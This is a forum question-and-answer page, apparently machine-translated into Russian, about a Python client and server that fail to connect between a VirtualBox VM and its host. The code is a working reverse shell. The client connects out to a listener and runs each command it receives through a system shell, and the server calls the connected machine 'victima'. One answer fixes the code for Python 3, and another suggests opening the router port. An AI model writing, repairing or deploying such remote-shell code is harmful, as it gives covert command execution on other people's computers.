Python Socket отказался от Virtualbox и хост-машины - PullRequest
0 голосов
/ 17 февраля 2019

Доброе утро, у меня проблема с сокетом при использовании двух машин в одной сети (на одной машине это работает)

Я назначил ip сервера в скрипте клиента иСервер, я отключил брандмауэр на обоих компьютерах, и когда я запускаю клиент, он получает соединение, но закрывает его, это как-то связано с веб-брандмауэром?Я оставляю вам картинку здесь: enter image description here

Сервер:

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket

def main():
    server = socket.socket()
    server.bind(('192.168.1.33',7777))
    server.listen(1)

    while True:
        victima,direccion = server.accept()
        print("Conexion de: {}".format(direccion))

        ver = victima.recv(1024)

        if ver == "1":
            while True:
                opcion = raw_input("shell@shell: ")
                victima.send(opcion)
                resultado = victima.recv(2048)
                print(resultado)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        exit()

Клиент:

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket
import subprocess

cliente = socket.socket()

try:
    cliente.connect(('192.168.1.33',7777))
    cliente.send("1")

    while True:
        c = cliente.recv(1024)
        comando = subprocess.Popen(c,shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        cliente.send(comando.stdout.read())
except:
    pass

Ответы [ 2 ]

0 голосов
/ 17 февраля 2019

Чтобы исправить это, я должен кодировать и декодировать данные и изменить raw_input () на input (), если вы используете python 3

Сервер

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket

def main():
    server = socket.socket()
    server.bind(('192.168.1.44',8000))
    server.listen(1)

    while True:
        victima,direccion = server.accept()
        print("Conexion de: {}".format(direccion))

        ver = victima.recv(1024).decode('utf-8')

        if ver == "1":
            while True:
                opcion = input("shell@shell: ")
                victima.send(opcion.encode('utf-8'))
                resultado = victima.recv(2048).decode('utf-8')
                print(resultado)

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        exit()

Клиент

#!/usr/bin/env python
#_*_ coding: utf8 _*_

import socket
import subprocess

cliente = socket.socket()

try:
    cliente.connect(('192.168.1.44',8000))
    cliente.send("1".encode('utf-8'))

    while True:
        c = cliente.recv(1024).decode('utf-8')
        comando = subprocess.Popen(c,shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        cliente.send(comando.stdout.read())
except:
    pass
0 голосов
/ 17 февраля 2019

Я не знаю, изменили ли вы настройки виртуальной коробки или нет, но в виртуальных машинах важно то, что они не являются вашей машиной;под этим я подразумеваю, что вы моделируете другой «ПК», работающий на вашем физическом компьютере, поэтому их следует рассматривать как два разных компьютера, но при подключении к сети, как правило (опция по умолчанию), виртуальная машина использует физическое соединение (один из ваших компьютеров) для работы в сети.Если вы используете серверный и клиентский сценарии без виртуальной машины, ваша сетевая карта распознает их (тот же Mac-адрес, тот же IP-адрес, та же сеть и т. Д.) с виртуальной машиной, вам следует проверить настройки программного обеспечения для моделирования (Virtualокно), чтобы увидеть, какой тип поведения установлен по умолчанию .

Я чувствую себя более комфортно с интерфейсом VMPlayer, чем с Virtual Box, но в любом случае в настройках сетивы можете выбрать, использовать ли уже открытое физическое соединение (имитирует соединение Ethernet) или «дублировать» соединение (последнее обычно используется для подключения внешней сетевой карты).

Не совсем уверен, что вы спрашивали,если техническое объяснение того, почему это не работает, или обходной путь, чтобы заставить это работать так ... вот оно.Кстати, если вы хотите попытаться изменить конфигурацию на настройки вашего модема, чтобы увидеть, была ли это проблема, перейдите к 192.168.1.1 и откройте порт, который вы выбрали для протокола, с которым вы выбрали работать (я вижупорт 7777 и TCP).

Приветствия

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...